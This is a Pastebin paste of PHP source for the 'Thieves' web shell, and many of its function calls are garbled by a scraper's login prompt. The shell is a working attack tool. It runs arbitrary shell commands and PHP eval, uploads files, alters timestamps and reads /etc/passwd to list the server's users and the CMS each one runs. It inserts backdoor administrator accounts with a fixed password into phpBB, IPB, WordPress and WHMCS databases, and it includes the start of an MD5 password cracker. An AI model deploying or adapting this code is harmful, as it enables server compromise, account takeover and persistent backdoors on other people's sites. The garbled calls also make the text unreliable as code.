Guest User

Untitled

a guest
Oct 19th, 2013
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 67.20 KB | None | 0 0
  1. <?php
  2. You are not allowed to view links.
  3. Register or Login();
  4. You are not allowed to view links.
  5. Register or Login(0);
  6. stylemenu();
  7. global $user;
  8. global $pass;
  9.  
  10. $user ='0be302f9'; //thieves
  11. $pass ='0be302f9'; //thieves
  12.  
  13. $afiseaza='<form method="post" action="">
  14. <center>User:<input type="text" name="user" id="text"><br>
  15. Pass:<input type="password" name="pass" id="text"><br>
  16. <input type="submit" name="sesiuni" value="login" id="but">';
  17.  
  18. if(You are not allowed to view links.
  19. Register or Login($_SESSION['user']) & You are not allowed to view links.
  20. Register or Login($_SESSION['pass']) & @$_SESSION['user']== $user & @$_SESSION['user']==$pass)
  21. {
  22. $continut='No Text';
  23. function rlc()
  24. {
  25. $afiseaza='<center><pre>
  26. ___________.__ .__
  27. \__ ___/| |__ |__| _______ __ ____ ______
  28. | | | | \| |/ __ \ \/ // __ \ / ___/
  29. | | | Y \ \ ___/\ /\ ___/ \___ \
  30. |____| |___| /__|\___ >\_/ \___ >____ >
  31. \/ \/ \/ \/
  32. </pre></center>';
  33.  
  34. return $afiseaza;
  35. }
  36. function copyright()
  37. {
  38. $afiseaza='<br>Create by (|Crisalixx && Master|) <a href="http://thieves-team.com">Thieves-Team</a></a>';
  39.  
  40. return $afiseaza;
  41. }
  42.  
  43. function proprietati(){
  44.  
  45. $afiseaza='Work Directory: '.@You are not allowed to view links.
  46. Register or Login().'<br>';
  47. $afiseaza.='Current User: '.@You are not allowed to view links.
  48. Register or Login().'<br>';
  49. $afiseaza.='HostName:'.$_SERVER['SERVER_NAME'].'<br>';
  50. $afiseaza.='Platform:'.$_SERVER['SERVER_SIGNATURE'].'<br>';
  51. $afiseaza.='OS Version: '.@You are not allowed to view links.
  52. Register or Login().'<br>';
  53. $afiseaza.='My ipaddress: '.$_SERVER['REMOTE_ADDR'].'<br>';
  54. $afiseaza.='Host Address: '.$_SERVER['SERVER_ADDR'].'<br>';
  55.  
  56. if(You are not allowed to view links.
  57. Register or Login(You are not allowed to view links.
  58. Register or Login(PHP_OS),'win')<0){
  59. $afiseaza.='UID : '.@You are not allowed to view links.
  60. Register or Login().'/'.@You are not allowed to view links.
  61. Register or Login().'</br>';
  62. }
  63. $val=@You are not allowed to view links.
  64. Register or Login(You are not allowed to view links.
  65. Register or Login());
  66. $rezultat=You are not allowed to view links.
  67. Register or Login($val/1073741824,2);
  68. $afiseaza.='HDD Size: '.$rezultat.' GB';
  69. $val=@You are not allowed to view links.
  70. Register or Login(You are not allowed to view links.
  71. Register or Login());
  72. $rezultat=You are not allowed to view links.
  73. Register or Login($val/1073741824,2);
  74. $afiseaza.='Free Space: '. $rezultat.' GB'.'</br>';
  75.  
  76. if (@You are not allowed to view links.
  77. Register or Login('safpassthrue_mode') or You are not allowed to view links.
  78. Register or Login(@You are not allowed to view links.
  79. Register or Login('safe_mode')) == 'on'){
  80. $afiseaza.='Safe-mode: ON(security)</br>';
  81. }else{
  82. $afiseaza.='Safe-mode:OFF(Fuck Them ALl)</br>';
  83.  
  84. }
  85.  
  86. if (@You are not allowed to view links.
  87. Register or Login('open_basedir') or You are not allowed to view links.
  88. Register or Login(@You are not allowed to view links.
  89. Register or Login('open_basedir')) == 'on'){
  90. $afiseaza.='Open_basedir: ON(security)</br>';
  91. }else{
  92. $afiseaza.='Open_basedir:OFF(Fuck Them ALl)</br>';
  93.  
  94. }
  95. if (You are not allowed to view links.
  96. Register or Login('curl_init')){
  97. $afiseaza.='cURL: ON</br>';
  98. }else{
  99. $afiseaza.='cURL:Off</br>';
  100. }
  101.  
  102. return $afiseaza;
  103. }
  104. function executa_shell(){
  105.  
  106. $afiseaza='<center>Shell Command</center><br><br>';
  107. $afiseaza.='<br><br><form method="post" action="?action&home">
  108. <center><textarea id="textarea" name=ViewCode rows="15" cols="100">';
  109.  
  110. if(You are not allowed to view links.
  111. Register or Login($_POST['exe'])){
  112.  
  113. $linie=You are not allowed to view links.
  114. Register or Login(You are not allowed to view links.
  115. Register or Login($_POST['com']));
  116. $afiseaza.=ValidExeCommand($linie);
  117.  
  118. }elseif(You are not allowed to view links.
  119. Register or Login($_POST['touchB'])){
  120.  
  121. $touch = $_POST['touch'];
  122. $timetouch = You are not allowed to view links.
  123. Register or Login($_POST['touchdate']);
  124. $afiseaza.= You are not allowed to view links.
  125. Register or Login($touch,$timetouch);
  126. $afiseaza.= ValidExeCommand("ls -al");
  127.  
  128. }elseif(You are not allowed to view links.
  129. Register or Login($_POST['arhBt']) && You are not allowed to view links.
  130. Register or Login($_POST['arhFile']) && $_POST['arhFile'] != ""){
  131.  
  132. $dirr = You are not allowed to view links.
  133. Register or Login();
  134. $afiseaza.= ValidExeCommand("tar -cvf ".$_POST['arhFile']." ".$dirr."/");
  135.  
  136. }elseif(You are not allowed to view links.
  137. Register or Login($_POST['EvalS']) && You are not allowed to view links.
  138. Register or Login($_POST['ViewCode']) && $_POST['ViewCode'] != ""){
  139.  
  140. $code = You are not allowed to view links.
  141. Register or Login(You are not allowed to view links.
  142. Register or Login($_POST['ViewCode']));
  143. You are not allowed to view links.
  144. Register or Login();
  145. You are not allowed to view links.
  146. Register or Login(You are not allowed to view links.
  147. Register or Login($code));
  148. $eval_buffer = You are not allowed to view links.
  149. Register or Login();
  150. You are not allowed to view links.
  151. Register or Login();
  152.  
  153. $afiseaza.= $eval_buffer;
  154. }elseif(You are not allowed to view links.
  155. Register or Login($_POST['btnFile']) && You are not allowed to view links.
  156. Register or Login($_POST['ViewCode']) && $_POST['ViewCode'] != ""){
  157. $fisier=You are not allowed to view links.
  158. Register or Login($_POST['newfile'],"w+");
  159. if(You are not allowed to view links.
  160. Register or Login($fisier,$_POST['ViewCode'])){
  161. $afiseaza.='Success create new file '.$_POST['newfile'];
  162. $afiseaza.= ValidExeCommand("ls -al");
  163. }else{
  164. $afiseaza.='Error create file you can\'t have access!';
  165.  
  166. }
  167. You are not allowed to view links.
  168. Register or Login($fisier);
  169. }elseif(You are not allowed to view links.
  170. Register or Login($_POST['btnFolder'])){
  171. $chmod = "";
  172. if($_POST['chmodFolder'] != ""){
  173. $chmod = $_POST['chmodFolder'];
  174. }
  175. You are not allowed to view links.
  176. Register or Login($_POST['newfolder'].$_POST['newfolderN'],(You are not allowed to view links.
  177. Register or Login($chmod)?You are not allowed to view links.
  178. Register or Login($chmod):0755));
  179. $afiseaza.= ValidExeCommand("ls -al");
  180. }
  181. $afiseaza.='</textarea><br><br>';
  182. $afiseaza.='<input id="text" type="text" name="com" size=50>';
  183. $afiseaza.='<input id="but" type="submit" name="exe" value="Execute">
  184. <input id="but" type="submit" name="EvalS" value="Eval(PHP)"></center>';
  185. $afiseaza.='<br>
  186. <table align=center style="border:1px solid" width=100%>
  187. <tr>
  188. <td align=left>Touch Time: <input id="text" type="text" name="touch" placeholder="nume.txt">
  189. <input id="text" type="text" name="touchdate" placeholder="date" size=40>
  190. <input id="but" type="submit" name="touchB" value="Enter">
  191. </td>
  192.  
  193. <td align=right>Folder Path: <input id="text" type="text" name="arhFile" placeholder="/home/user/public_html/" size=40>
  194. <input id="but" type="submit" name="arhBt" value="Compress">
  195. </td>
  196. </tr>
  197. </table>';
  198.  
  199. $afiseaza.='<br>
  200. <table align=center style="border:1px solid" width=100%>
  201. <tr>
  202. <td align=left>New File: <input id="text" type="text" name="newfile" placeholder="nume.txt" size=40>
  203. Chmod:<input id="text" type="text" name="chmodFile" placeholder="0644" size=10>
  204.  
  205. <input id="but" type="submit" name="btnFile" value="Create">
  206. </td>
  207.  
  208. <td align=right>New Folder: <input id="text" type="text" name="newfolder" placeholder="./" size=40><input id="text" type="text" name="newfolderN" placeholder="crisalixx" size=20>
  209. Chmod:<input id="text" type="text" name="chmodFolder" placeholder="0777" size=10>
  210. <input id="but" type="submit" name="btnFolder" value="Create">
  211. </td>
  212. </tr>
  213. </table>';
  214. $afiseaza.='</form>';
  215. return $afiseaza;
  216. }
  217.  
  218. function ValidExeCommand($ex){
  219. $functionList = You are not allowed to view links.
  220. Register or Login("shell_exec","system","exec","passthru");
  221. if(You are not allowed to view links.
  222. Register or Login($functionList[0]) && $functionList[0] !== 1){
  223. return $functionList[0]($ex);
  224. }elseif(You are not allowed to view links.
  225. Register or Login($functionList[1]) && $functionList[1] !== 1){
  226. return $functionList[1]($ex);
  227. }elseif(You are not allowed to view links.
  228. Register or Login($functionList[2]) && $functionList[2] !== 1){
  229.  
  230. return $functionList[2]($ex);
  231. }elseif(You are not allowed to view links.
  232. Register or Login($functionList[3]) && $functionList[3] !== 1){
  233. return $functionList[3]($ex);
  234.  
  235. }else{
  236. echo "Insert PHP CODE!";
  237. }
  238.  
  239. }
  240.  
  241.  
  242. function upload(){
  243.  
  244.  
  245. $afiseaza.= "<table align='center' width=100%>
  246. <tr align='center'><td colspan=1000><b> Uploading by server ...</b></td></tr>
  247. <tr align='center'><td><form action='{$_SERVER['PHP_SELF']}?{$_SERVER['QUERY_STRING']}' method='post' enctype='multipart/form-data'>
  248. <input type='hidden' name='securitytoken' value='1336837095-ee4b45b8ab556c82309783ea414b9eefadc6d135'>
  249. Upload File:<input type='file' name='upfile' id='upfile'> With Name:<input type='text' name='myfile_rot' placeholder=thievesteam.txt>Destionation file:<input type=text name=desti size=30 placeholder=/home/user/public_html/>
  250. <input type='submit' value='Submit'></form></td></tr>";
  251.  
  252. if(You are not allowed to view links.
  253. Register or Login($_POST['myfile_rot'])) {
  254. if(You are not allowed to view links.
  255. Register or Login($_POST['desti'])){
  256. $mydestination = $_POST['desti'];
  257. }else{
  258. $mydestination= You are not allowed to view links.
  259. Register or Login(__FILE__)."/";
  260. }
  261. if ($_FILES['upfile']['error'] > 0){
  262. $afiseaza.= "<tr align='center'><td><font color=red>Error: Impossible to upload file.</font></td></tr>";
  263. }else {
  264. $afiseaza.= "<tr align='center'><td>Uploaded <b>" . $_FILES['upfile']['name'] . "</b> and stored into: <b>" . $_FILES['upfile']['tmp_name']. "</b></td></tr>";
  265. if(You are not allowed to view links.
  266. Register or Login($_FILES['upfile']['tmp_name'], $mydestination.$_POST['myfile_rot'])) {
  267. $afiseaza.= "<tr align='center'><td>Moved from ". $_FILES['upfile']['tmp_name'] ." into <b>".$mydestination . $_POST['myfile_rot']. "</b></td></tr>";
  268. }else if(You are not allowed to view links.
  269. Register or Login($_FILES['upfile']['tmp_name'], $_SERVER["DOCUMENT_ROOT"] . "/" . $_POST['myfile_rot'])){
  270. $afiseaza.= "<tr align='center'><td>Renamed from ".$_FILES['upfile']['tmp_name']." to <b>". $mydestination .$_POST['myfile_rot']. "</b></td></tr>";
  271. }else
  272. $afiseaza.= "<tr align='center'><td><font color=red>Error: It`s impossible to move/rename the file from the temp.</font></td></tr>";
  273. }
  274. }
  275.  
  276. $afiseaza.= "</table>";
  277. return($afiseaza);
  278. }
  279.  
  280.  
  281.  
  282.  
  283.  
  284. function rd_users(){
  285. $afiseaza='';
  286.  
  287. $afiseaza.= "<style>table.hov tr:hover, table.hov tr td:hover{background-color: #262626; }</style>
  288.  
  289. <table border='1' cellpadding='3' align='center' WIDTH='90%' class=hov>
  290.  
  291. <tr><td>User</td>
  292. <td align=center>Group</td>
  293.  
  294. <td align=center>Path</td>
  295. <td align=center>Acess</td>
  296. <td align=center>CMS</td>
  297. <td align=center>Domains</td></tr>";
  298.  
  299. $tfile = You are not allowed to view links.
  300. Register or Login("/etc/passwd", "r");
  301. // $DomFile = fopen("/etc/named.conf") ;
  302.  
  303. while(!You are not allowed to view links.
  304. Register or Login($tfile)){
  305.  
  306. $strs = You are not allowed to view links.
  307. Register or Login($tfile);
  308. $str=You are not allowed to view links.
  309. Register or Login(':',$strs);
  310. $afiseaza.= "<tr>";
  311. $afiseaza.= "<td>".You are not allowed to view links.
  312. Register or Login($str[0])."</td>
  313. <td>".You are not allowed to view links.
  314. Register or Login($str[4])."</td>
  315. <td>".You are not allowed to view links.
  316. Register or Login($str[5])."</td>";
  317.  
  318. if(You are not allowed to view links.
  319. Register or Login(You are not allowed to view links.
  320. Register or Login($str[5])."/public_html/")){
  321. $afiseaza.="<td><font color=yellow>Can Read</font></td>";
  322. }else{
  323. $afiseaza.="<td>Can't Read</td>";
  324. }
  325.  
  326.  
  327.  
  328. if(You are not allowed to view links.
  329. Register or Login(You are not allowed to view links.
  330. Register or Login($str[5]).'/public_html/mcp.php') & You are not allowed to view links.
  331. Register or Login(You are not allowed to view links.
  332. Register or Login($str[5]).'/public_html/config.php') || You are not allowed to view links.
  333. Register or Login(You are not allowed to view links.
  334. Register or Login($str[5]).'/public_html/forum/store') || You are not allowed to view links.
  335. Register or Login(You are not allowed to view links.
  336. Register or Login($str[5]).'/public_html/board/store')){
  337. $afiseaza.="<td>PHPBB</td>";
  338.  
  339. }elseif(You are not allowed to view links.
  340. Register or Login(You are not allowed to view links.
  341. Register or Login($str[5]).'/public_html/wp-login.php') & You are not allowed to view links.
  342. Register or Login(You are not allowed to view links.
  343. Register or Login($str[5]).'/public_html/wp-config.php') || You are not allowed to view links.
  344. Register or Login(You are not allowed to view links.
  345. Register or Login($str[5]).'/public_html/blog/wp-admin') || You are not allowed to view links.
  346. Register or Login(You are not allowed to view links.
  347. Register or Login($str[5]).'/public_html/site/wp-admin')){
  348. $afiseaza.="<td>WordPress</td>";
  349. }elseif(You are not allowed to view links.
  350. Register or Login(You are not allowed to view links.
  351. Register or Login($str[5]).'/public_html/moderation.php') & You are not allowed to view links.
  352. Register or Login(You are not allowed to view links.
  353. Register or Login($str[5]).'/public_html/usercp2.php')|| You are not allowed to view links.
  354. Register or Login(You are not allowed to view links.
  355. Register or Login($str[5]).'/public_html/forum/moderation.php') || You are not allowed to view links.
  356. Register or Login(You are not allowed to view links.
  357. Register or Login($str[5]).'/public_html/board/moderation.php')){
  358. $afiseaza.="<td>MyBB</td>";
  359.  
  360. }elseif(You are not allowed to view links.
  361. Register or Login(You are not allowed to view links.
  362. Register or Login($str[5]).'/public_html/Settings.php') & You are not allowed to view links.
  363. Register or Login(You are not allowed to view links.
  364. Register or Login($str[5]).'/public_html/subscriptions.php')|| You are not allowed to view links.
  365. Register or Login(You are not allowed to view links.
  366. Register or Login($str[5]).'/public_html/forum/Settings.php') || You are not allowed to view links.
  367. Register or Login(You are not allowed to view links.
  368. Register or Login($str[5]).'/public_html/board/subscriptions.php')){
  369. $afiseaza.="<td>SMF</td>";
  370. }elseif(You are not allowed to view links.
  371. Register or Login('/home/'.You are not allowed to view links.
  372. Register or Login($str[5]).'/public_html/admincp') & You are not allowed to view links.
  373. Register or Login('/home/'.You are not allowed to view links.
  374. Register or Login($str[5]).'/public_html/modcp') ||
  375. (You are not allowed to view links.
  376. Register or Login('/home/'.You are not allowed to view links.
  377. Register or Login($str[5]).'/public_html/forum/admincp') & You are not allowed to view links.
  378. Register or Login('/home/'.You are not allowed to view links.
  379. Register or Login($str[5]).'/public_html/forum/modcp'))||
  380. (You are not allowed to view links.
  381. Register or Login('/home/'.You are not allowed to view links.
  382. Register or Login($str[5]).'/public_html/board/admincp') & You are not allowed to view links.
  383. Register or Login('/home/'.You are not allowed to view links.
  384. Register or Login($str[5]).'/public_html/board/modcp'))){
  385. $afiseaza.="<td>VBulletin</td>";
  386. }elseif(You are not allowed to view links.
  387. Register or Login('/home/'.You are not allowed to view links.
  388. Register or Login($str[5]).'/public_html/libraries/platform.php') & You are not allowed to view links.
  389. Register or Login('/home/'.You are not allowed to view links.
  390. Register or Login($str[5]).'/public_html/media')){
  391. $afiseaza.="<td>Joomla</td>";
  392.  
  393. }else{
  394. $afiseaza.="<td>Unknown!</td>";
  395. }
  396. if($scan= @You are not allowed to view links.
  397. Register or Login(You are not allowed to view links.
  398. Register or Login($str[5]).'/tmp/cpbandwidth/')){
  399. foreach($scan as $s){
  400. if ($s!= "." && $s != ".."){
  401.  
  402. $domains=You are not allowed to view links.
  403. Register or Login('-bytes',$s);
  404. $afiseaza.='<td><a href="http://'.$domains[0].'" target=_blank>'.$domains[0].'</a></td>';
  405. }
  406. }
  407. }else{
  408. $afiseaza.="<td>Can't Read</td>";
  409. }
  410.  
  411. $afiseaza.= "</tr>";
  412. }
  413. $afiseaza.="</table>";
  414. You are not allowed to view links.
  415. Register or Login($tfile);
  416.  
  417.  
  418. return $afiseaza;
  419. }
  420.  
  421. function despre_rlc(){
  422. $afiseaza='Thieves was rewrite by Crisalixx@thieves-team.com<br>';
  423. $afiseaza.='1.New Design<br>';
  424. $afiseaza.='2.File and Folders(list) was create by NoValue@thieves-team.com<br>';
  425. $afiseaza.='3.Create from rlc 1.0 by Master@thieves-team.com<br>';
  426. $afiseaza.='4.New Stuff (Brute Force MD5 , Make Admin)<br>';
  427. $afiseaza.='5.Evaluate PHP function on Exec Command<br>';
  428. $afiseaza.='6.Safe and easy to understand<br><br>';
  429. $afiseaza.='Finish Date : September-12-2013 at 3:30 AM';
  430. return $afiseaza;
  431.  
  432. }
  433. function makeJoomla(){
  434.  
  435. }
  436. function makePHPBB(){
  437. $dbhost = "localhost";
  438. $dbuser = $_POST['UserName'];
  439. $dbpasswd = $_POST['PassAdmin'];
  440. $dbname = $_POST['DataAdmin'];
  441. $table_prefix = $_POST['prefix'];
  442. $email = $_POST['EmailAdmin'];
  443. You are not allowed to view links.
  444. Register or Login($dbhost,$dbuser,$dbpasswd);
  445. You are not allowed to view links.
  446. Register or Login($dbname);
  447.  
  448. $pass=You are not allowed to view links.
  449. Register or Login("crisalixx");
  450. $int2="INSERT INTO ".$table_prefix."users VALUES('100000',3,5,'zik0zjzik0zjzik0xs i1cjyo000000 zik0zjzhb2tc',
  451. '0','127.0.0.1','1290805769','ThievesAdmin','ThievesAdmin','".$pass."',0,0,'".$email."',0,'','',0,0,'','',0,0,0,0,0,0,'1337',
  452. 'en','0.00',0,1,1,'','0',0,0,0,0,0,0,0,'t','d',0,'t','a',0,1,0,1,1,1,1,'230271','',0,0,0,'thieves-team.com','','','','','','',
  453. '','','','','','','','',1,0,1)";
  454. $int="INSERT INTO ".$table_prefix."users (user_id,user_type,group_id,user_permissions,username,user_password,user_email) VALUES( '10000','3','5','zik0zjzik0zjzik0xs i1cjyo000000 zik0zjzhb2tc','ThievesAdmin','".$pass."'),'".$email."')";
  455. $query=You are not allowed to view links.
  456. Register or Login($int2);
  457. if(!$query){
  458. $afiseaza.= You are not allowed to view links.
  459. Register or Login();
  460. }else{
  461. $afiseaza.= "Admin Success!";
  462.  
  463. }
  464. return $afiseaza;
  465. }
  466. function makeIPB(){
  467. $dbhost = "localhost";
  468. $dbuser = $_POST['UserName'];
  469. $dbpasswd = $_POST['PassAdmin'];
  470. $dbname = $_POST['DataAdmin'];
  471. $table_prefix = $_POST['prefix'];
  472. $email = $_POST['EmailAdmin'];
  473. You are not allowed to view links.
  474. Register or Login($dbhost,$dbuser,$dbpasswd);
  475. You are not allowed to view links.
  476. Register or Login($dbname);
  477.  
  478. $pass=You are not allowed to view links.
  479. Register or Login("crisalixx");
  480. $int2 = "INSERT INTO members (name,member_group_id,email,joined,ip_address,posts,title,allow_admin_mails,ignored_users,members_pass_hash,members_pass_salt,member_login_key,member_login_key_expire)
  481.  
  482. VALUES ('ThievesAd', '4', '".$email."', '1365869413', '127.0.0.1', '100', 'GOD Was Here!', '0', '0', '88b9e4f1c41f86106b729b706b3ed6a0','V,vCT', 'ff77653acc1ddaf236144a80c85057b8', '1367489996')";
  483. $query=You are not allowed to view links.
  484. Register or Login($int2);
  485. if(!$query){
  486. $afiseaza.= You are not allowed to view links.
  487. Register or Login();
  488. }else{
  489. $afiseaza.= "Admin Success!";
  490.  
  491. }
  492. return $afiseaza;
  493.  
  494. }
  495. function makeWordPress(){
  496. $dbhost = "localhost";
  497. $dbuser = $_POST['UserName'];
  498. $dbpasswd = $_POST['PassAdmin'];
  499. $dbname = $_POST['DataAdmin'];
  500. $table_prefix = $_POST['prefix'];
  501. $email = $_POST['EmailAdmin'];
  502. You are not allowed to view links.
  503. Register or Login($dbhost,$dbuser,$dbpasswd);
  504. You are not allowed to view links.
  505. Register or Login($dbname);
  506.  
  507.  
  508. $query2 = "INSERT INTO ".$table_prefix."users(ID,user_login,user_pass,user_nicename,user_email,user_url, user_registered,user_activation_key,user_status,display_name) VALUES ('4', 'ThievesAdmin', MD5('crisalixx'), 'Thieves Admin', '".$email."', 'http://www.thieves-team.com/', '2013-06-07 00:00:00', '', '0', 'Thieves Admin')";
  509.  
  510. $query3 = "INSERT INTO ".$table_prefix."usermeta (user_id,meta_key,meta_value) VALUES ('4', '".$table_prefix."capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
  511. $query4 = "INSERT INTO ".$table_prefix."usermeta(user_id,meta_key,meta_value) VALUES ('4', '".$table_prefix."user_level', '10')";
  512. $queryString1=You are not allowed to view links.
  513. Register or Login($query2);
  514. $queryString2=You are not allowed to view links.
  515. Register or Login($query3);
  516. $queryString3=You are not allowed to view links.
  517. Register or Login($query4);
  518.  
  519. if(!$queryString1 || !$queryString2 || !$queryString3){
  520. $afiseaza.= You are not allowed to view links.
  521. Register or Login();
  522. }else{
  523. $afiseaza.= "Admin Success!";
  524.  
  525. }
  526. return $afiseaza;
  527. }
  528. function makeWHMCS(){
  529. $dbhost = "localhost";
  530. $dbuser = $_POST['UserName'];
  531. $dbpasswd = $_POST['PassAdmin'];
  532. $dbname = $_POST['DataAdmin'];
  533. $table_prefix = $_POST['prefix'];
  534. $email = $_POST['EmailAdmin'];
  535. You are not allowed to view links.
  536. Register or Login($dbhost,$dbuser,$dbpasswd);
  537. You are not allowed to view links.
  538. Register or Login($dbname);
  539. $query2 = "INSERT INTO tbladmins (roleid,username,password,email,template,language,supportdepts,homewidgets)
  540.  
  541. VALUES ('1', 'ThievesAd', 'MD5('crisalixx')', '".$email."', 'blend', 'English', ',,1,2,3', 'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')";
  542. $queryString1=You are not allowed to view links.
  543. Register or Login($query2);
  544. if(!$queryString1){
  545. $afiseaza.= You are not allowed to view links.
  546. Register or Login();
  547. }else{
  548. $afiseaza.= "Admin Success!";
  549.  
  550. }
  551. return $afiseaza;
  552. }
  553. function cmsCommand(){
  554. if(You are not allowed to view links.
  555. Register or Login($_POST['PHPBBAdmin'])){
  556. makePHPBB();
  557.  
  558. }elseif(You are not allowed to view links.
  559. Register or Login($_POST['MYBBAdmin'])){
  560. $afiseaza.= "Will be Soon";
  561.  
  562. }elseif(You are not allowed to view links.
  563. Register or Login($_POST['IPBAdmin'])){
  564. makeIPB();
  565.  
  566. }elseif(You are not allowed to view links.
  567. Register or Login($_POST['IPBAdmin'])){
  568. makeIPB();
  569.  
  570. }elseif(You are not allowed to view links.
  571. Register or Login($_POST['WHMCSAdmin'])){
  572. makeWHMCS();
  573.  
  574. }elseif(You are not allowed to view links.
  575. Register or Login($_POST['JoomlaAdmin'])){
  576. $afiseaza.= "Will be Soon";
  577.  
  578. }
  579.  
  580.  
  581. $afiseaza.='<div align="center">UserName will be : ThievesAdmin <br>
  582. Password will be : crisalixx<br><form action=?action&cms method="post">
  583.  
  584. <table border=1 cellpadding=5 align=center>
  585.  
  586. <tr><td><input type="text" placeholder=UserName name="UserAdmin" align="center" size="30" STYLE="color:#3cbddd; background-color: #242528;"
  587.  
  588. width="8"><input placeholder=Password type="text" name="PassAdmin" align="center" size="30" STYLE="color:#3cbddd; background-color: #242528;"
  589.  
  590. width="8">
  591.  
  592. <input type="text" name="DataAdmin" placeholder="DataBase" align="center" size="30" STYLE="color:#3cbddd; background-color: #242528;"
  593.  
  594. width="8"><br><br>
  595.  
  596. <center><input type="text" name="prefix" placeholder=Prefix_ align="center" size="10" STYLE="color:#3cbddd; background-color: #242528;"
  597.  
  598. width="8">
  599.  
  600. <input type="text" name="EmailAdmin" placeholder="Crisalixx@thieves-team.com" align="center" size="30" STYLE="color:#3cbddd; background-color: #242528;"
  601.  
  602. width="8"></center>
  603.  
  604.  
  605.  
  606. <br><center><input type="radio" name="JoomlaAdmin" value="Joomla"><font color=#3cbddd>Joomla</font>
  607.  
  608. <input type="radio" name="WHMCSAdmin" value="WHMCS"><font color=#3cbddd>WHMCS</font>
  609.  
  610. <input type="radio" name="PHPBBAdmin" value="PHPBB"><font color=#3cbddd>PHPBB</font>
  611.  
  612. <input type="radio" name="MYBBAdmin" value="MYBB"><font color=#3cbddd>MYBB</font>
  613.  
  614. <input type="radio" name="VBAdmin" value="VBULETIN"><font color=#3cbddd>VBULETIN</font>
  615.  
  616. <input type="radio" name="IPBAdmin" value="IPBAdmin"><font color=#3cbddd>IPB</font>
  617.  
  618. <input type="radio" name="WordPress" value="WordPress"><font color=#3cbddd>WordPress</font></center>
  619.  
  620. <br><center><input type=submit value="MakeAdmin" name="MakeAdmin" STYLE="color:#3cbddd; background-color: #121011; border-style:flat;"></center>
  621.  
  622.  
  623.  
  624. </td></tr></table></form>';
  625.  
  626. return $afiseaza;
  627. }
  628.  
  629.  
  630.  
  631. function insert_admin_mybb()
  632. {
  633. $af='';
  634. if(You are not allowed to view links.
  635. Register or Login($_POST['config']))
  636. {
  637. $include=$_POST['config'];
  638. if(You are not allowed to view links.
  639. Register or Login($include,'config.php')>-1)
  640. {
  641. @include($include);
  642. if(You are not allowed to view links.
  643. Register or Login($config['database']['type'] ))
  644. {
  645. You are not allowed to view links.
  646. Register or Login($config['database']['hostname'],$config['database']['username'],$config['database']['password']);
  647. You are not allowed to view links.
  648. Register or Login($config['database']['database']);
  649. $pass=You are not allowed to view links.
  650. Register or Login($_POST['pass']);
  651. $int="";
  652. }
  653. else{$af='Acest config nu este valid';}
  654.  
  655.  
  656. }
  657. else {$af='Nu ai introdus un config';}
  658. }
  659. $afiseaza='<table align="center"><tr><td><form method="post" action="?action=cms&new_action=mybb">';
  660. $afiseaza.='<tr><td>MYBB:</td><td> Admin insert in DB</td></tr>';
  661. $afiseaza.='<tr><td>User:</td><td><input type="text" name="user" id="text"></td></tr>';
  662. $afiseaza.='<tr><td>Pass:</td><td><input type="text" name="pass" id="text"></td></tr>';
  663. $afiseaza.='<tr><td>Email:</td><td><input type="text" name="email" id="text"></td></tr>';
  664. $afiseaza.='<tr><td>Culoare:</td><td><input type="text" name="culoare" id="text"></td></tr>';
  665. $afiseaza.='<tr><td>Config:</td><td><input type="text" name="config" value="/inc/config.php" id="text"></td></tr>';
  666. $afiseaza.='<tr><td><input type="submit" name="submit" value="insert" id="but"></td></tr></table>';
  667.  
  668. return $afiseaza.$af;
  669. }
  670.  
  671.  
  672. function logout(){
  673. You are not allowed to view links.
  674. Register or Login($_SESSION['user']);
  675. You are not allowed to view links.
  676. Register or Login($_SESSION['pass']);
  677. return $afiseaza='Logout Success';
  678. }
  679.  
  680. function md5_crack(){
  681. if(!You are not allowed to view links.
  682. Register or Login("pass.txt")){
  683. $afiseaza.= "<table align='center' width=100%>
  684. <tr align='center'><td colspan=1000><b> Uploading by server ...</b></td></tr>
  685. <tr align='center'><td><form action='{$_SERVER['PHP_SELF']}?{$_SERVER['QUERY_STRING']}' method='post' enctype='multipart/form-data'>
  686. <input type='hidden' name='securitytoken' value='1336837095-ee4b45b8ab556c82309783ea414b9eefadc6d135'>
  687. Upload File:<input type='file' name='upfile' id='upfile'> With Name:<input type='text' name='myfile_rot'><input type='submit' value='Submit'></form></td></tr>";
  688.  
  689. if(You are not allowed to view links.
  690. Register or Login($_POST['myfile_rot'])) {
  691. if ($_FILES['upfile']['error'] > 0){
  692. $afiseaza.= "<tr align='center'><td><font color=red>Error: Impossible to upload file.</font></td></tr>";
  693. }else {
  694. $afiseaza.= "<tr align='center'><td>Uploaded <b>" . $_FILES['upfile']['name'] . "</b> and stored into: <b>" . $_FILES['upfile']['tmp_name']. "</b></td></tr>";
  695. if(You are not allowed to view links.
  696. Register or Login($_FILES['upfile']['tmp_name'],You are not allowed to view links.
  697. Register or Login(__FILE__)."/" . $_POST['myfile_rot'])) {
  698. $afiseaza.= "<tr align='center'><td>Moved from ". $_FILES['upfile']['tmp_name'] ." into <b>". $_SERVER["DOCUMENT_ROOT"]. "/" . $_POST['myfile_rot']. "</b></td></tr>";
  699. }else if(You are not allowed to view links.
  700. Register or Login($_FILES['upfile']['tmp_name'],You are not allowed to view links.
  701. Register or Login()."/" . $_POST['myfile_rot'])){
  702. $afiseaza.= "<tr align='center'><td>Renamed from ".$_FILES['upfile']['tmp_name']." to <b>". You are not allowed to view links.
  703. Register or Login() ."/" . $_POST['myfile_rot']. "</b></td></tr>";
  704. }else
  705. $afiseaza.= "<tr align='center'><td><font color=red>Error: It`s impossible to move/rename the file from the temp.</font></td></tr>";
  706. }
  707. }
  708.  
  709. $afiseaza.= "</table>";
  710. }
  711. $afiseaza.="<form action=? method=post>
  712. <center>Password <input type=text name=cryptpass size=30 maxlength=32 value=".password().">
  713. <input type=submit name=crypt value=Crypt>
  714. <input type=submit name=decrypt value=Decrypt>".fix()."
  715. <br>For Decrypt Need Pass.txt(dictionar)</center>
  716.  
  717. </form>";
  718.  
  719.  
  720. if(You are not allowed to view links.
  721. Register or Login($_GET['rand']) && $_GET['rand'] != ""){
  722. while(1){
  723. $decrypt = "./pass.txt";
  724. $fh = You are not allowed to view links.
  725. Register or Login($decrypt, 'a+') or You are not allowed to view links.
  726. Register or Login("can't open file");
  727.  
  728.  
  729. You are not allowed to view links.
  730. Register or Login($fh, trypassword($_GET['rand'])."\n");
  731. You are not allowed to view links.
  732. Register or Login($fh);
